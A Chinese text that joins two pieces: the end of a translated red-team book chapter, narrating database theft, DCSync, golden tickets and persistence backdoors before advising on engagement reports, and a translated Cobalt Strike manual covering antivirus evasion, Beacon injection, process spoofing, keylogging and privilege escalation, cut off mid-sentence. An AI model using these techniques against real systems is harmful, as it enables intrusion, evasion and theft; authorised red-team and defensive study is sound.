beacon。你开始使用这些新的 shell 来获得更多的信息。你发现其中一个主机和一个名为 Restricted 的远程 Microsoft SQL 服务器保持着活跃的连接。你尝试了在这个 lab 域中收集的所有账户,但这些凭证都不适用于这个数据库服务器。你感到难过,你回头看看自己所有的笔记,然后意识到你忘了那些正在破解的 Kerberos 票据!你通过 SSH 连接到负责破解 hash 的机器,查看那些破解结果,在结果中找出那些链接 Restricted 数据库的凭证。当你找到这个服务帐号的密码时,你浑身得到了巨大的解脱感。 80码线 你登录到名为 Restricted 的数据库服务器并对整个数据库进行了脱库。 你很想直接在数据库服务器中直接查看,但你知道时间有限。 你使用一些 PowerShell 脚本对数据进行加密压缩,然后在不同的内网已控主机之间慢慢传递,最后将压缩数据利用网络转移到自己的 C2 服务器上。 你告诉你自己,你做到了!但是当你逐渐从飘了的感觉中冷静下来,你发现自己仍然有工作要做。你回过头来翻阅那些之前导出的 Bloodhound 收集的信息,发现一台名为 Purri Gagarin 的主机,它属于 IT 技术支持部门的工作组 。很好,我们可以使用它来远程桌面连接或者使用 Windows ACE 连接到域管理员的机器,然后我们可以将域管理员的密码重置为我们自定义的密码。我们接着操作,重置域管理员 Elon Muskkat 的密码,然后做一些 AD 持久化的设置来维持持久的域管权限。 90码线 我们需要做的最后一件事情是从域控制器中导出所有的哈希,并且设置其他的后门,最后擦除我们的痕迹。你可以使用 Mimikatz 应用的的 DCsync 功能来获取所有用户的哈希,包括 krbtgt 票据。而不是使用动静很大的方法(卷影复制服务)来获取域里所有用户的哈希。我们现在拥有了黄金票据!这意味着我们如果重新回到内网中,我们可以创建自己的 Kerberos 票据并且让它成为域管理员。 译者注: 卷影复制服务(Volume Shadow Copy Service,简称 VSS)是微软 Windows 的一项组件服务。卷影复制服务是一项定时为分卷作复制的服务。服务会在分卷新增一个名为“阴影复制”(Shadow Copy)的选项。此服务可为离线用户提供离线文件服务。 为了留下更多的后门,我们在不同主机中使用了不同的技术。我们在一个主机中设置了 shift 后门;使用 backdoorfactory 技术将我们的恶意软件隐藏在另一个主机中的常用二进制可执行文件中;将系统的计划任务设置为每周运行一次回连我们的 C2 服务器;使用一个和 lab 域分离的主机,使用 dnscat 的可执行二进制文件代替系统中一个没啥用的运行服务;还删除了几个主机的启动文件夹中的 payload。 我们是幸运的(当然与之对应我们的幸运建立在他们的不幸之上),我们到目前为止都没有被发现。但你要记住,红队渗透评估的目的是为了了解公司或组织发现恶意攻击活动的速度有多快(CSK 公司并没有发现),以及他们执行应急响应、取证和缓解攻击带来的负面影响的速度有多快。所以在最后你尝试触发 CSK 的蓝队采取行动,运行了一个 powershell 脚本( https://github.com/EmpireProject/Empire/blob/master/data/module_source/trollsploit/Get-RickAstley.ps1 )。你满意的笑了,然后关闭笔记本电脑。 任务完成 :) 第10章 赛后——分析报告 在之前的 THP 书籍中,我们有介绍如何编写渗透测试报告的示例,并提供了大量报告模板。这些示例非常适合那些按部就班的做渗透测试的活动,但是不适合红队的活动。正如本书所述,红队的焦点不是识别漏洞本身(虽然这也是工作的一部分),而是测试人、工具、工作流程和员工的技能组合。如果你的公司被授权的渗透测试者或者未授权的坏人攻击并成功入侵,你会给自己的业绩打几分?我一直反对使用差距评估分数、ISO 分数、成熟度模型分数、标准风险分析、热度图和类似类型的报告来展示公司安全项目的真实状况。 就我个人而言,我喜欢看到公司从之前的红队活动中采取措施进行控制,以测试是否真的取得了进展。例如,对于一个使用了近似域名方法的网络钓鱼活动,我们看到公司启用了以下一些功能: 使用 dnstwist 对与其公司类似的域名发出警报; 设置一个外部电子邮件域的可信列表。任何与之不匹配的外部邮件都将在最终用户可见的电子邮件中附加一个标题,说明它是外部(非公司)的、未经批准的电子邮件源。这将帮助你的用户更容易识别网络钓鱼。 来自代理中未分类的域的电子邮件中的任何链接至少应单击一次并警告用户改链接未分类。 禁止 Office 宏附件、强制使用受保护的视图和对文档进行沙盒处理。 这只是一个公司可以实施的可以阻止攻击的一些简单方法。 请记住,红队人员只需要找到一个漏洞就可能破坏整个内网环境。但是蓝队成员只需要识别攻击者的 TTP(战术,技术和过程)之一,就可以阻止这威胁。因此,现在的问题是,如果这些 TTP 中的一个已经引起防御系统发出警报,你的应急响应团队发现警报并处理威胁的速度有多快?所以红队风格的报告应该包括哪些内容呢?由于红队这个概念还很新,目前还没有标准的报告模板,我们可以根据客户的需求进行定制。在我看来,因为我们可能会在一个完整的红队活动中多次尝试进入一个内网环境(且被抓住几次),所以我们想要把好的方面和不好的方面都在报告中都展示出来。 在活动期间、记笔记方面,许多工具如 Empire 和 Cobalt Strike 在红队活动期间都有很好的活动日志记录,但这些可能还远远不够。我发现对我们团队的活动非常有用的是,建立一个简单的 Web 服务器来记录红队成员执行的每个操作。记录过程中只收集最基本的信息,其中包括特定的事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不喜欢做笔记,但这类记录提供了一种简单的跟踪活动的方法。 一旦活动结束,我们将收集所有笔记并将其组合在一起,以构建一个能讲述故事的红队报告。红队报告的主要组成部分可能包括: 简介/范围:本节需要明确说明活动的目标。例如,有些客户要求我们访问特定的数据、获得域管理权限、获取 PII(个人身份信息)、获取 IP 或在找到他们的生产环境的服务器的标志(flag)。 指标:在一场交战之后获得攻击报告是对应急响应团队/取证团队非常有帮助的。我们还想确定他们的防范工具或安全传感器可能遗漏的地方,那些使他们无法执行取证或检测恶意活动的纰漏。因此,我们希望给出C2服务器的IP地址、使用的域名、二进制文件的 MD5/SHA1 哈希、电子邮件地址和 IP 信息、被钓鱼的受害者列表以及任何其他可能有助于取证/应急响应团队的信息。 攻击时间轴:这是红队行动中最重要的部分之一,做好笔记是有回报的。时间轴应该充分说明所有的主要活动,任何触发警报的 TTP,以及主要的活动。这将允许蓝队比较他们的时间轴和笔记,看看他们错过了什么。在一次真正的攻击中,你有机会询问那些坏人关于他们做的每坏件事吗?这对防守团队来说是非常有利的。一个时间轴示例可能是这样的: 检测时间(TTD)/解决时间(TTM):这通常是我们可以使用蓝队报告构建 TTD/TTM 统计数据的地方。我们都想要确定蓝队发现一次多重入侵所需的时间;扫描事件触发调查之前花费的时间(如果调查了的话);以及蓝队需要多长时间来识别网络钓鱼活动。 第二部分应该讨论有关采取行动之前花费的时间的统计数据。如果有已警告的 C2 通信或已识别的网络钓鱼,那么在防火墙或 DNS 服务器上封锁这些域需要花费的时间是多久?我们经常看到公司可能擅长屏蔽域名,但是当 C2 服务器通过 IP 进行通信时会很快失败(反之亦然)。我们希望确保跟踪此活动并帮我们的客户来识别它。另一个很有用的 TTM 衡量标准是他们最快的情况下要花多久来隔离一个已经确认受损的系统。随着恶意软件变得越来越自动化,我们需要开始利用智能化和自动化的流程将系统或网络的一部分与组织的其他部分隔离开来。 来自应急响应/应急人员的反馈:我最喜欢记录的东西之一是来自蓝队的反馈:他们是如何从防守的角度看待整个活动的。我想知道的是,他们是否觉得自己遵守了安全政策,事件负责人是否推动了调查,管理层是否过度介入,安全部门如何与 IT 部门进行安全方面的互动,从而促进任何与 IT 相关的改变(防火墙屏蔽、DNS 修改等等)。以及他们中间的哪些人过于慌张、哪些人过于冷静。 如前所述,红队的目的不是寻找漏洞或破坏环境(尽管这是非常有趣的部分),而是改善客户组织的整体安全程序和规划并证明其环境中存在某些漏洞。如今,许多公司对自己的安全程序过于自信,只有当他们被攻破时才会做出改变。现在有了红队,我们可以模拟攻击行为并鼓励客户做出改变,而不是等到真实入侵的事件,那时或许已为时太晚。
-
Coablt strike官方教程中文译版本
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medium,1.7 GB)实例主机。 支持的操作系统 以下系统支持Cobalt Strike Team Server: Kali Linux 2018.4 - AMD64 Ubuntu Linux 16.04,18.04 - x86_64 Cobalt Strike客户端在以下系统上运行: Windows 7及更高版本 MacOS X 10.13及以上版本 Kali Linux 2018.4 - AMD64 Ubuntu Linux 16.04,18.04 - x86_64 更新Cobalt Strike 要充分利用Cobalt Strike的功能,您必须使用许可证密钥更新许可产品。试用程序中包含执行此操作的更新程序 此程序接受许可证密钥并为您获取最新的Cobalt Strike版本。授权的Cobalt Strike软件包括防病毒的逃避功能,并删除了试用程序中未授许可申明。 windows 1.进入到到Cobalt Strike文件夹 2.双击update.bat Linux 输入以下内容: cd /path/to/cobaltstrike ./update MacOS X 1.进入到Cobalt Strike文件夹 2.双击“ Update Cobalt Strike.command” 确保使用许可证密钥更新team server和客户端软件。Cobalt Strike通常根据每个用户获得许可。team server不需要单独的许可证。 如何重置许可证密钥 Cobalt Strike的更新程序只会询问您的密钥一次。之后,它会记住你的钥匙。如果需要更改密钥,只需删除存储在主目录中的.cobaltstrike.license文件即可。再次运行更新程序,Cobalt Strike将要求您提供新密钥。 安装Cobalt Strike Cobalt Strike依赖于Oracle Java 1.8,Oracle Java 11或OpenJDK 11环境。 Linux 1.为Linux 设置推荐的Java环境 2.解压cobaltstrike-trial.tgz tar zxvf cobaltstrike-trial.tgz MacOS X 1.为MacOS X 设置推荐的Java环境 2.双击cobaltstrike-trial.dmg文件以安装它。 3.将Cobalt Strike文件夹拖到“应用程序”文件夹中。 windows 1.为Windows 设置推荐的Java环境 2.在下载并安装Cobalt Strike之前禁用防病毒软件。 3.使用您喜欢的zip工具将cobaltstrike-trial.zip解压到您首选的安装位置。 启动Cobalt Strike Team Server Cobalt Strike分为客户端和服务器端。该服务器端被称为团队服务器,是Beacon有效负载的控制器,同时Cobalt Strike也具有社会工程学功能。团队服务器还存储Cobalt Strike收集的数据,并管理日志记录。 Cobalt Strike团队服务器必须以root身份运行在所支持的操作系统上。要启动Cobalt Strike团队服务器,请使用Cobalt Strike Linux软件包附带的teamserver脚本。 ./teamserver 服务器IP地址 密码 团队服务器有两个必要参数和两个可选参数。第一个是团队服务器的IP地址。Cobalt Strike使用此值作为其默认的服务器主机。第二个是您的团队成员用于将Cobalt Strike客户端连接到团队服务器的密码。 第三个参数是可选的。此参数指定Malleable C2通信配置文件。 第四个参数也是可选的。此参数指定以YYYY-MM-DD为格式的结束日期。团队服务器会将此结束日期嵌入其生成的每个Beacon中。Beacon有效负载将拒绝在此结束日期或之后运行。如果Beacon有效载荷在此结束日期或之后唤醒,它也将被运行退出。 当团队服务器启动时,它将发布团队服务器SSL证书的SHA256哈希值。您应该将此哈希值分发给您的团队成员。当您的团队成员连接时,Cobalt Strike客户端会在向团队服务器进行身份验证之前询问是否验证此哈希。这是防止中间人攻击的重要保护。 Cobalt Strike Client Cobalt Strike客户端连接到团队服务器。要启动Cobalt Strike客户端,请使用软件包中附带的启动程序。不带任何参数。当Cobalt Strike客户端启动时,您将看到一个连接对话框。 Linux下: Windows下: 在“host”字段中指定团队服务器的ip地址。团队服务器的默认端口是50050.很少有人更改此设置。“user”字段是团队服务器上的用户名称。将此更改为您的名称。“password”字段是团队服务器的密码。点击Connect连接到Cobalt Strike团队服务器。如果这是您与此团队服务器的第一次连接,Cobalt Strike将询问您是否识别此团队服务器的SSL证书的SHA256哈希值。如果需要,请点击OK,Cobalt Strike客户端将连接到服务器。Cobalt Strike还会记住这个SHA256哈希,以便以后方便连接。 您可以通过Cobalt Strike - > Preferences - > Fingerprints管理这些哈 希值。 Cobalt Strike会跟踪您连接的团队服务器并记住您的信息。从连接对话框的左侧选择其中一个团队服务器配置文件,以使用其信息自动填充连接对话框。您也可以通过Cobalt Strike - > Preferences - > Team Servers修改此连接。 功能参考 Application Browser 要查看受控的应用程序,请进入View -> Applications。这将打开一个Applications选项卡,其中包含一个列表,显示System Profiler受控的所有应用程序信息。 Analyst技巧 应用程序浏览器有很多信息可用于对目标攻击的方法。以下是如何充分利用此输出的方法: 内部IP地址字段是从没有危险的未知签名Java小程序中收集的。如果此字段显示为unknown,则表示Java applet可能没有被运行。如果您在此处看到IP地址,则表示未签名的Java小程序已被执行。 Internet Explorer将输出用户安装的基本版本信息。随着Internet Explorer获取到更新信息后 , 它的输出的版本信息不会被更改。Cobalt Strike使用JScript.dll 版本号来判断Internet Explorer的补丁等级。进入到support.microsoft.com并搜索JScript.dll的内部版本号(版本字符串中的第三个数字)以将显示其Internet Explorer更新版本信息。 应用程序旁边的A * 64表示它是x64位应用程序。 Attacks-->web Dive-by-->system profiter Client-side Reconaissance Artifact Kit Cobalt Strike使用Artifact Kit生成其可执行文件和DLL。Artifact Kit是一款商业框架,用于构建可逃逸某些防病毒产品的可执行文件和DLL的检查。 Artifact Kit理论 传统的防病毒产品使用签名来识别已知的恶意信息。如果我们将已知的恶意shellcode嵌入到可执行文件中,则防病毒产品将识别shellcode并将可执行文件标记为恶意软件。 为了逃避这种检测,攻击者以某种方式混淆shellcode并将其嵌套于二进制文件中是很常见的。这种混淆可以逃避那些使用简单字符串搜索来识别恶意代码的反病毒产品。 有许多防病毒产品在进行了病毒库更新后,防病毒产品会模拟虚拟沙箱中可执行文件的来检查。通过每个模拟的运行步骤,防病毒产品会在模拟的进程空间中检查已知的错误。如果出现已知错误,则防病毒产品会将可执行文件或DLL标记为恶意。这种技术使许多编码器和加载器会被AV检查到,而这些编码器和加载器试图隐藏基于签名的防病毒产品中的已知错误。 Cobalt Strike与此相反,防病毒沙箱有局限性。它不是一个完整的虚拟机。防病毒沙箱无法模拟系统行为。Artifact Kit是可执行文件和DLL模板的集合,它依赖于反病毒产品不会模拟的某些行为来恢复位于二进制文件内的shellcode。 其中一种技术[参见:Artifact Kit中的 src-common/bypass-pipe.c]生成可执行文件和DLL,它们通过命名管道为自己提供shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意shellcode。 Artifact Kit无效的原因 当然,反病毒产品可能会破坏Artifact Ki的特定功能。如果反病毒软件供应商为您使用的Artifact Kit进行数字签名检查,那么它创建的可执行文件和DLL将被AV检查到。随着时间的推移,这种情况开始发生在Cobalt Strike 2.5及以下的版本中。如果您想从Artifact Kit中发挥最大的作用,那么您将使用其中一种技术作为基础来构建您自己的Artifact Kit套件。 即使这远远还够,因为反病毒厂商首先要确定可执行文件或DLL是否存在已知风险或未知风险或未发现和可执行文件或DLL。其中一些防病毒产品会自动将未知的可执行文件和DLL自动发送给反病毒厂商进行进一步分析并告警用户。并将未知的可执行文件和DLL视为恶意。这取决于反病毒产品及其设置。 注意:在这种情况下,没有任何“混淆”可用。你面对的是另一种检查方式,需要相应地改变。以此和处理应用程序白名单相同的方式来处理这些情况。需要尝试找到一个已知可用程序(例如,powershell),它将使你的有效负载可有效执行。 如何使用Artifact Kit 从授权的Cobalt Strike 进入Help -> Arsena来下载Artifact Kit。 Strategic Cyber LLC将Artifact Kit分发为.tgz文件。使用tar命令将其解压缩。Artifact Kit包含build.sh脚本。在Kali Linux上运行此脚本,使用Minimal GNU for Windows Cross Compiler构建默认的Artifact Kit技术。 Artifact Kit构建过程 Artifact Kit构建脚本为每个Artifact Kit技术创建一个包含模板的文件夹。要使用Cobalt Strike技术,请转到Cobalt Strike - > Script Manager,然后从该文件夹中加载artifact.cna脚本。 我们鼓励您修改Artifact Kit及其代码,以满足您的特定需求。虽然熟练的C程序员可以使用Artifact Kit做更多的事情,但非程序员也可以使用Artifact Kit。例如,一个主要的反病毒产品喜欢在每次发布时都在Cobalt Strike的试用版中为可执行文件写入数字签名。直到Cobalt Strike 2.5后,Cobalt Strike的试用版和许可版在其可执行文件和DLL中使用了命名管道技术。该供应商将为可执行文件使用的命名管道字符串也写一个数字签名。逃避它们的数字签名,可在执行后释放其本身的字符特征,就像在管道技术的源代码中更改管道的名称一样简单。 Artifact Kit使用 Cobalt Strike许可证授权文件 Cobalt Strike的许可版本需要有效的授权文件才能启动。授权文件是加密的blob,它提供有关Cobalt Strike产品许可的信息。此信息包括:许可证密钥,许可证到期日期以及与许可证密钥绑定的ID号。 如何获得授权文件 内置的更新程序在运行(built-in update program )时从Cobalt Strike的更新服务器请求一个授权文件。即使您的Cobalt Strike版本是最新的,更新程序也会下载新的授权文件。这允许授权文件与Strategic Cyber LLC的记录中的许可日期保持同步。 许可证到期后会发生什么 Cobalt Strike将在其授权文件到期时阻止启动。如果授权文件在Cobalt Strike运行时失效,则不会产生任何影响。许可的Cobalt Strike产品仅在启动时检查授权文件。 授权文件什么时候到期 当您的Cobalt Strike许可证到期时,您的授权文件将过期。如果续订Cobalt Strike许可证,请运行更新程序在运行(built-in update program )以使用最新信息刷新授权文件。 进入到Help -> System Information以查找授权文件何时到期。查找“ Other”部分下查找“有效”值。请记住,客户端信息和Team Server信息可能具有不同的值(取决于使用的许可证密钥以及上次刷新授权文件的时间)。 当Cobalt Strike的授权文件在其有效期限的30天内发出警告时,它也会发出警告。 如何将授权文件传输至封闭环境 授权文件是cobaltstrike.auth。更新程序始终将此文件与cobaltstrike.jar放在一起。在封闭环境中使用Cobalt Strike: 1.下载https://www.cobaltstrike.com/download上的Cobalt Strike试用包 2.从互联网连接系统更新Cobalt Strike试用包 3.将更新的cobaltstrike 文件夹的内容复制到您的环境中。最重要的文件是cobaltstrike.jar和cobaltstrike.auth。 Cobalt Strike是否致电Strategic Cyber LLC 在更新过程中,Cobalt Strike不会给Strategic Cyber LLC“致电”。授权文件由更新过程生成。 如何使用旧版本的Cobalt Strike并刷新授权文件 Cobalt Strike 3.8及以下版本不检查或要求授权文件。 Cobalt Strike 3.9及更高版本检查与cobaltstrike.jar文件位于同一目录的cobaltstrike.auth文件。从另一个文件夹更新Cobalt Strike并将新的cobaltstrike.auth文件复制到包含旧版Cobalt Strike的文件夹中。授权文件与产品的特定版本无关。 什么是客户ID值 客户ID是与Cobalt Strike许可证密钥关联的4字节数字。Cobalt Strike 3.9及更高版本将此信息嵌入Cobalt Strike生成的payload stagers 和 stages generated中 如何在Cobalt Strike artifact中找到客户ID值 客户ID值是Cobalt Strike 3.9及更高版本中Cobalt Strike payload stager的最后4个字节。 此屏幕截图是来自试用版的HTTP stager。试用版的客户ID值为0.此stager的最后4个字节(0x0,0x0,0x0,0x0)显示了这一点。 HTTP Payload Stager(Cobalt Strike Trial) 客户ID值也存在于payload stage,但还有更多的恢复步骤。Cobalt Strike不会在其网络流量或工具的其他部分中使用客户ID值。 如何使用此ID保护不同的红队基础架构受交叉标识的影响 如果每个team server上都有唯一的授权文件,则每个team server和源自它的 artifacts将具有不同的ID。 每次运行更新程序时,Cobalt Strike的更新服务器都会生成一个新的授权文件。每个授权文件都有一个唯一的ID。Cobalt Strike仅传输team server的ID。它不会从GUI或无客户端的授权文件传播ID Beacon Beacon是Cobalt Strike有效载荷,用来模拟高级的攻击。使用Beacon通过HTTP,HTTPS或DNS来建立通信。您还可以通过控制Windows命名管道上的点对点Beacons来限制哪些主机可以通信。 Beacon非常灵活,支持异步和交互式通信。异步通信延迟低又慢。Beacon会将任务返回给服务器请求,并下载任务,然后进入睡眠状态。交互式通信是实时执行。Beacon的网络指标具有malleable性。重新定义Beacon与Cobalt Strike malleable C2之间的建立。这可以使您将Beacon活动作为其他恶意软件或混淆加密的流量为合法流量。 Beacon控制台 右键单击Beacon会话并选择 interact(交互)以打开Beacon的控制台。控制台是Beacon会话的主要用户界面。Beacon控制台允许您查看向Beacon发出的任务以及何时下载它们。Beacon控制台也是命令输出和其他信息输出的地方。 Beacon控制台 在Beacon控制台的输入和输出之间是一个状态栏。此状态栏包含有关当前会话的信息。在其默认配置中,状态栏显示目标的NetBIOS名称以及当前会话的用户名和PID以及Beacon的最后记录时间。 通过GUI或控制台发送给Beacon的每个命令都将显示在此窗口中。如果其他队友发出命令,Cobalt Strike将使用他们的handle来预先修复命令。 您可能会花费大部分时间在Beacon控制台中使用Cobalt Strike。在Beacon控制台中键入help以查看其可用的命令。键入help后跟命令名称以获取详细帮助。 Beacon 菜单 右键单击Beacon或Beacon控制台内部以访问Beacon菜单。这与用于打开Beacon控制台的菜单相同。ACCESS菜单包含操作授信material和提升访问权限的选项。Explore菜单包含用于提取信息与目标系统交互的选项。通过Pivoting菜单,您可以设置工具以通过Beacon隧道进行传输流量。Session菜单是您管理当前Beacon会话的位置。 Beacon 菜单 Cobalt Strike的一些可视化(pivot图和会话表)允许您一次选择多个Beacon 。通过此菜单产生的大多数操作都将适用于所有选定的Beacon会话。 异步和交互式操作 请注意,Beacon是异步有效负载。命令不会立即执行。每个命令都进入队列。当Beacon验入(连接到您)时,它将下载这些命令并逐个执行。此时,Beacon还会显示它为您提供的任何输出。如果输入有误,请使用clear命令清除当前Beacon的命令队列。 默认情况下,Beacons每60秒验入一次。您可以使用Beacons sleep命令更改此设置。使用sleep命令然后以秒为单位来指定Beacon应该验入的频率时间。您还可以指定0到99之间的第二个数字。此数字是波动因素。Beacon会根据您指定为波动因素的随机百分比来改变每个 Beacons 的验入时间。例如,sleep 300 20将使Beacon以20%的波动百分比来休眠300秒。这意味着,每次进入Beacon后,Beacon将在240到300秒之间休眠一段随机值。 要每秒多次检查Beacon,请尝试sleep 0。这是交互模式。在此模式下,命令将立即执行。您必须先让Beacon进行交互,然后才能将流量通过隧道传输。一些Beacon命令(例如,browserpivot和desktop等)将在下次验入时自动将Beacon置于交互模式。 运行命令 Beacon的shell命令将Beacon通过受害主机上的cmd.exe执行命令。命令执行完成后,Beacon将向您显示输出信息。 使用不带cmd.exe的run命令执行。run命令会将输出显示给您。在后台运行的程序执行命令时并不能捕获到其输出。 使用powershell命令在受害的主机上使用PowerShell执行命令。使用powerpick命令在不使用powershell.exe的情况下执行PowerShell cmdlet。此命令依赖于Lee Christensen开发的Unmanaged PowerShell技术。powershell和powerpick命令将使用您当前的令牌。 psinject命令将向特定进程中注入非托管PowerShell,并从该位置运行您的Cmdlet。 PowerShell导入命令将PowerShell脚本导入到Beacon。PowerShell、Powerpick和psinject命令将导入脚本中的Cmdlet。Beacon一次只能保存一个PowerShell脚本。导入空文件以从Beacon中清除导入脚本。 execute assembly命令将运行本地.NET可执行文件作为Beacon post-exploitation job.。可以将参数传递给此程序集,就像它是从Windows命令行界面运行的一样。此命令还将继承您当前的令牌。 如果您希望Beacon从特定目录执行命令,请使用Beacon控制台中的cd命令切换Beacon进程的当前目录。该PWD命令将显示当前目录,该SETENV命令将设置环境变量。 会话传递 使用spawn命令为侦听器生成的会话。spawn命令接受一个系统架构(例如,x86,x64)和一个侦听器作为其参数。 默认情况下,spawn命令将在rundll32.exe中生成一个会话。可能会被管理员会发现rundll32.exe定期连接到Internet很异常。找到一个更好的程序(例如,Internet Explorer)并使用spawnto命令来使Beacon应该将会话注入到哪个程序中。spanwto命令要求您根据需要指定要生成的程序的系统架构和完整路径。键入spawto并按Enter键显示Beacon返回其默认行为。 inject和spawn命令都将所需侦听器的stager注入到内存中。这个stager试图回连您,将请求的有效负载转移到内存中。如果stager无法通过任何网络防火墙出口限制,您将无法获得会话。 使用dllinject [pid]将反射DLL注入进程。使用shinject [pid] [architecture] [/path/to/file.bin]命令将shellcode从本地文件注入到目标进程中。使用shspawn [archicture] [/path/to/file.bin]生成的“spawn to”进程,并将指定的shellcode文件注入到该进程中。 使用[archicture] [/path/to/file.bin] 在另一个进程中加载磁盘上的DLL。 替换父进程 使用ppid [pid]为Beacon会话运行的程序分发备用父进程。这是一种让您的执行行为与目标上的正常执行行为融为相似的方法。当前的Beacon会话必须拥有备用父进程的权限,如果备用父进程与Beacon位于同一桌面会话中,则最好。键入ppid,不带任何参数,在没有欺骗父进程的情况下进行Beacon会话启动。 runu命令将以另一个进程作为父进程执行命令。此命令将以其备用父进程的权限和桌面会话一起运行。当前的Beacon会话必须拥有备用父进程的最高权限。如果另一个父进程在另一个桌面会话中,就可以了。spawu命令在runu上生成一个会话(通过powershell.exe),以另一个进程作为父进程。这些命令是在桌面会话之间移动而不进行远程进程注入的一种方法。 欺骗进程参数 每个Beacon都有一个内部的命令列表,它应该带有欺骗参数。当Beacon运行与列表匹配的命令时,Beacon: 1.以挂起状态启动匹配的进程(使用伪参数) 2.使用真实参数更新进程内存 3. 恢复进程 结果是记录进程启动的主机工具将看到伪参数。这有助于掩饰您的真实执行行为。 使用argue [command] [fake arguments]将命令添加到此内部列表。[command]部分可以包含环境变量。使用argue [command]从此内部列表中删除命令。argue,它本身列出了这个内部列表中的命令。进程匹配逻辑是准确的。如果Beacon尝试启动“net.exe”,它将无法与其内部列表中的net,NET.EXE或c:\windows\system32\net.exe匹配。它只会匹配net.exe。x86 Beacon只能欺骗x86子进程中的参数。同样,x64 Beacon只能欺骗x64子进程中的参数。真正的参数将被写入到包含伪参数的内存空间中。如果实参数比伪参数长,则命令将启动失败。 上传和下载文件 该download命令将下载请求的文件。不需要在文件名周围提供带空格的引号。Beacon是为低速度和缓慢的数据传输而建立的。在每次连接期间,Beacon将下载其任务要获取的每个文件的固定块。这个数据块的大小取决于Beacon当前的数据通道。HTTP和HTTPS通道以512KB块的形式提取数据。 输入downloads 命令来查看当前Beacon正在进行的文件下载列表。使用cancel命令,后跟文件名,将取消正在进行的文件下载。您可以在cancel命令中使用通配符,一次取消多个文件下载。 进入Cobalt Strike中的View->Downloads,查看您的团队成员迄今为止已下载的文件。只有已完成的下载才会显示在此选项卡中。下载的文件存储在团队服务器上。要将文件传回到系统中,请在此处突出显示它们,然后按“同步文件”。最后,Cobalt Strike会将所选文件下载到系统上您选择的文件夹中。 该upload命令将文件上传到主机中。 上传文件时,有时需要更新其时间戳,使其与同一文件夹中的其他文件混合。使用timestomp命令执行此操作。timestomp命令将一个文件的修改、访问和创建时间与另一个文件匹配。 文件系统命令 使用ls命令列出当前目录中的文件。使用mkdir创建目录。rm将删除文件或文件夹。cp将文件复制到目标文件中。mv移动文件 Windows注册表 使用reg query [x86 | x64] [HIVE \ path \ to \ key]查询注册表中的特定项。此命令将输出该键和任何子键列表中的值。需要x86/x64选项,并强制Beacon使用注册表的WOW64(x86)或本机视图。reg queryv [x86 | x64] [HIVE \ path \ to \ key] [value]将查询注册表项中的特定值。 Keystrokes and Screenshots Beacon用于记录键盘和截屏的工具,旨在注入到另一个进程中,并将其结果报告给您的Beacon。要启动键盘记录器,请使用keylogger pid将其注入到x86进程中。使用keylogger pid x64注入到x64进程中。explorer.exe是此工具的一个很好的候选者。单独使用keylogger将键盘记录器注入到临时进程中。键盘记录器将监控来自注入进程的键入,并将其报告给Beacon,直到进程终止或您终止键盘记录器。请注意,多个键盘记录程序可能会相互冲突。每个桌面会话仅使用一个键盘记录器。要截取屏幕截图,请使用screenshot pid将屏幕截图工具注入到x86进程中。使用screenshot pid x64注入到x64进程中。同样,explorer.exe也是这个工具的一个很好的候选者。截图命令的这个变换将采用一个屏幕截图并退出。截图本身将把截图工具注入到一个临时进程中。您可以使用screenshot pid architecture time让屏幕截图工具运行几秒钟,并在每次Beacon检入时输出屏幕截图。这是一种观察用户桌面的简便方法。 当Beacon接收到新的屏幕截图或按键时,它将向Beacon控制台发送消息。但是,屏幕截图和键入信息无法通过Beacon控制台获得。进入 View -> Keystrokes,查看所有Beacon会话中记录的键入信息。进入View -> Screenshots,浏览所有Beacon会话的屏幕截图。这两个对话框都会随着新信息的出现而更新。这些对话框使一个操作员可以轻松监控所有Beacon会话的键入和屏幕截图。 管理Post-Exploitation Jobs Beacon将每个shell,powershell和键盘记录器实例视为一项任务。这些任务在后台运行,并在可用时输出其信息。使用jobs命令查看Beacon中正在运行的任务。使用jobkill取消一项任务。 SOCKS代理 使用SOCKS 8080在端口8080(或您选择的任何其他端口)上设置SOCKS4A代理服务器。这将设置一个SOCKS代理服务器,通过Beacon传输流量。Beacon的睡眠时间增加了你通过它的任何流量的延迟。使用sleep 0可以每秒多次进行Beacon连接。Beacon的HTTP数据通道对pivoting目标的响应最快。如果您想通过DNS传输流量,请使用DNS txtrecord通信模式。您可以使用proxychains隧道通过Beacon来传输其他工具。使用socks stop来禁用SOCKS代理服务器。 Reverse Pivoting 使用rportfwd命令通过Beacon设置 reverse pivot。rportfwd命令将绑定受感染目标上的端口。任何到此端口的连接都将导致您的Cobalt Strike服务器启动到另一个主机和端口的连接,并在这两个连接之间中继流量。Cobalt Strike通过Beacon隧道传输此流量。rportfwd的语法是:rportfwd [bind port] [forward host] [forward port] 使用rportfwd stop [bind port]禁用反向端口转发 权限提升 某些后期利用命令需要系统管理员级别的权限。Beacon提供了几个选项来帮助您提升访问权限。Beacon的许多权限提升选项都接受一个监听器作为参数。这是使用SMB Beacon的理想情况。SMB Beacon使用命名管道发送其输出并通过另一个Beacon获取其任务。SMB Beacon与权限提升攻击相结合,可以避免您计算如何提高进出权限的麻烦。 通过漏洞提升 键入elevate以列出使用Cobalt Strike注册的权限提升漏洞。运行elevate[exploit name][listener]尝试使用特定的漏洞进行提升 要启动权限提升漏洞利用集合,请下载Elevate Kit。Elevate Kit是一个Aggressor脚本,它将几个开源特权提升漏洞集成到Cobalt Strike中。https://github.com/rsmudge/ElevateKit 使用方法: 1.下载此git git clone https://github.com/rsmudge/ElevateKit.git 2.将elevate.cna加载到Cobalt Strike中。 转到Cobalt Strike - > Scripts,按Load,选择elevate.cna 3.与Beacon交互,选择Interact 4.键入“elevate”以查看可用权限升级攻击列表 5.键入'elevate <exploit name>'以执行攻击 使用已知凭据进行提升 使用runas [DOMAIN \ user] [password] [command]]以另一个使用其凭据的用户身份运行命令。runas命令不会返回任何输出。不过,您可以使用非特权中的runa 使用spawnas [DOMAIN \ user] [password] [listener]以另一用户身份使用其凭据生成会话。此命令使用PowerShell在内存中加载负载 获得SYSTEM 使用getsystem模拟SYSTEM帐户的令牌,此级别的访问权限可允许您执行管理员用户无法执行的特权操作. UAC Bypass Microsoft在Windows Vista中引入了用户帐户控制(UAC),并在Windows 7中对其进行了改进.UAC在UNIX中与sudo非常相似。用户使用普通权限进行日常操作。当用户需要执行特权操作时 - 系统会询问他们是否想要提升他们的权利。 Cobalt 